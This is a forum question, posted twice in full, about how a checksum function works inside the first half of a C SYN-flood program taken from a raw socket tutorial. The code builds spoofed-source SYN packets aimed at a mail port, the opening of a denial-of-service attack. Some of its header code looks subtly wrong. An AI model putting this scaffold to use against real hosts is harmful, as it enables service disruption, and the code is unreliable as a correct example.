A
Astroman
Hi guys and girls. This is my first time posting here so go easy .
I was wondering if someone could please interpret how this csum()
function works in the following C code. I know that the function
returns the checksum value but I was wondering How. I only included
the top half of the c code because you probably dont need the other
half and also it is a syn flooding program so I thought I shouldn't
post the whole lot. This is from the raw socket programming tutorial
written by Mixter. Couldn't find anything better. Just FAQ's.
#define __USE_BSD /* use bsd'ish ip header */
#include <sys/socket.h> /* these headers are for a Linux system, but
*/
#include <netinet/in.h> /* the names on other systems are easy to
guess.. */
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>
#define P 25 /* lets flood the sendmail port */
/*PLEASE EXPLAIN THE BELOW ! */
unsigned short /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int
main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket
*/
char datagram[4096]; /* this buffer will contain ip header, tcp
header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct
ip);
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */
sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to
network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");
memset (datagram, 0, 4096); /* zero out the buffer */
/* we'll now fill in the ip/tcp header values, see above for
explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no
payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual
checksum later */
iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly
spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (1234); /* arbitrary port */
tcph->th_dport = htons (P);
tcph->th_seq = random ();/* in a SYN packet, the sequence is a
random */
tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st
packet */
tcph->th_x2 = 0;
tcph->th_off = 0; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl (65535); /* maximum allowed window size */
tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP
stack
should fill in the correct checksum during transmission */
tcph->th_urp = 0;
/* HERE THE FUNCTION IS CALLED */
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
Thanks
I was wondering if someone could please interpret how this csum()
function works in the following C code. I know that the function
returns the checksum value but I was wondering How. I only included
the top half of the c code because you probably dont need the other
half and also it is a syn flooding program so I thought I shouldn't
post the whole lot. This is from the raw socket programming tutorial
written by Mixter. Couldn't find anything better. Just FAQ's.
#define __USE_BSD /* use bsd'ish ip header */
#include <sys/socket.h> /* these headers are for a Linux system, but
*/
#include <netinet/in.h> /* the names on other systems are easy to
guess.. */
#include <netinet/ip.h>
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include <netinet/tcp.h>
#include <unistd.h>
#define P 25 /* lets flood the sendmail port */
/*PLEASE EXPLAIN THE BELOW ! */
unsigned short /* this function generates header checksums */
csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
int
main (void)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket
*/
char datagram[4096]; /* this buffer will contain ip header, tcp
header,
and payload. we'll point an ip header structure
at its beginning, and a tcp header structure after
that to write the header values into it */
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct
ip);
struct sockaddr_in sin;
/* the sockaddr_in containing the dest. address is used
in sendto() to determine the datagrams path */
sin.sin_family = AF_INET;
sin.sin_port = htons (P);/* you byte-order >1byte header values to
network
byte order (not needed on big endian machines) */
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");
memset (datagram, 0, 4096); /* zero out the buffer */
/* we'll now fill in the ip/tcp header values, see above for
explanations */
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no
payload */
iph->ip_id = htonl (54321); /* the value doesn't matter here */
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; /* set it to 0 before computing the actual
checksum later */
iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly
spoofed */
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (1234); /* arbitrary port */
tcph->th_dport = htons (P);
tcph->th_seq = random ();/* in a SYN packet, the sequence is a
random */
tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st
packet */
tcph->th_x2 = 0;
tcph->th_off = 0; /* first and only tcp segment */
tcph->th_flags = TH_SYN; /* initial connection request */
tcph->th_win = htonl (65535); /* maximum allowed window size */
tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP
stack
should fill in the correct checksum during transmission */
tcph->th_urp = 0;
/* HERE THE FUNCTION IS CALLED */
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
Thanks